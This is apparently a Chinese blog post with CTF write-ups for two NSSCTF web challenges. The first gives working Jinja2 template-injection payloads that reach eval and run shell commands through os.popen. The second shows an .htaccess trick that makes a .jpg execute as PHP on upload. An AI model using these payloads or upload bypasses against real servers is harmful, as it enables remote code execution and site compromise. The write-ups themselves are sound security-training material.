当前位置: 首页 > news >正文

NSSCTF-Web题目15

目录

[HNCTF 2022 WEEK2]ez_SSTI

1、题目

2、知识点

3、思路

[SWPUCTF 2022 新生赛]Ez_upload

1、题目

2、知识点

3、思路


[HNCTF 2022 WEEK2]ez_SSTI

1、题目

2、知识点

SSTI、Jinja2

参考链接:1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

3、思路

题目提示我们是SSTI,打开链接,里面是一些有关SSTI的知识

我们不知道网站是用什么语言的,抓包看看

这里可以看到python,跟python有关的SSTI框架模板:Jinja2 (Python)、Mako (Python)(这些在题目的链接可以看到),接下来就尝试网站是用哪种模板,先尝试jinja2,但是我们不知道注入点在哪,不知道变量名,看了上面的参考文章,jinja2的变量名跟name有关,可以尝试name

?name={{7*7}}

结果正常回显,说明当前网站是用jinja2的框架,且变量名为name

知道变量名接下来就是构造payload了

?name={{''.__class__.__base__.__subclasses__()}}

通过__class__获取字典对象所属的类,再通过__base__(__bases[0]__)拿到基类,然后使用__subclasses__()获取子类列表,在子类列表中直接寻找可以利用的类

如果存在os类,那我们可以通过这些类执行eval等函数

接下来我们利用这个类,这个类位于137,这些payload可以记起来,遇到可以用

?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

得到flag:NSSCTF{71ead462-471d-4863-b7ed-a97c9afcf81c}


[SWPUCTF 2022 新生赛]Ez_upload

1、题目

2、知识点

文件上传、.htaccess、MIME类型

3、思路

上传一个正常的文件

上传失败,很可能是文件大小作了限制

上传一个php文件

这里对后缀名进行了过滤

上传一个带有php内容的jpg文件

说明也对文件内容进行了过滤

这里尝试绕过的方式有很多,例如,抓包更改文件后缀名、大小写绕过、php3、phtml等

这边尝试看能不能上传.htaccess文件

可以上传成功,注:Content-Type: image/jpeg

.htaccess

<FilesMatch "muma.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传成功后,我们再上传一个muma.jpg文件,因为对文件内容进行了检测,不能有php代码,所以我们使用javascript语句

muma.jpg

## 一句话木马
<script language='php'>phpinfo();</script>

上传成功,然后访问成功的路径,可以正常访问

里面的php代码正常执行,寻找flag

得到flag:NSSCTF{be92eb2e-a020-43c6-bf04-d99099bbff69}


这篇文章就先记录到这里,哪里不懂的或者哪里不足的欢迎指出

http://www.lryc.cn/news/381839.html

相关文章:

  • 每天认识:轮询和中断
  • SpringBoot中使用MQTT实现消息的订阅和发布
  • 等保测评练习10
  • VBA学习(16):工作表事件示例:输入数据后锁定单元格
  • mysql学习——SQL中的DDL和DML
  • 什么是多态?一文彻底搞懂!
  • CST电磁仿真软件的参数类型和含义【电磁仿真入门教程】
  • 华为HCIA综合实验(结合前几期所有内容)
  • git 拉下来的项目,出现“加载失败”的解决方法
  • sql资料库
  • 【python入门】运算符
  • 【C++高阶】掌握AVL树:构建与维护平衡二叉搜索树的艺术
  • 机器学习-课程整理及初步介绍
  • 北斗三号短报文通信终端 | 助力户外无网络场景作业
  • RERCS系统开发实战案例-Part05 FPM Application的Feeder Class搜索组件的实施
  • 算法常见手写代码
  • 数据结构9——排序
  • 分布式锁实现方案-基于Redis实现的分布式锁
  • MTK7628+MT7612 加PA定频数据
  • [信号与系统]关于双线性变换
  • 763. 划分字母区间
  • 【PostgreSQL】AUTO_EXPLAIN - 慢速查询的日志执行计划
  • 讯飞星火超自然语言合成的完整Demo
  • 封装一个上拉加载的组件(无限滚动)
  • WHAT - 高性能和内存安全的 Rust(二)
  • 办理河南建筑工程乙级设计资质的流程与要点
  • 分类算法和回归算法区别
  • 利用Frp实现内网穿透(docker实现)
  • 怎么用Excel生成标签打印模板,自动生成二维码
  • java基于ssm+jsp 美食推荐管理系统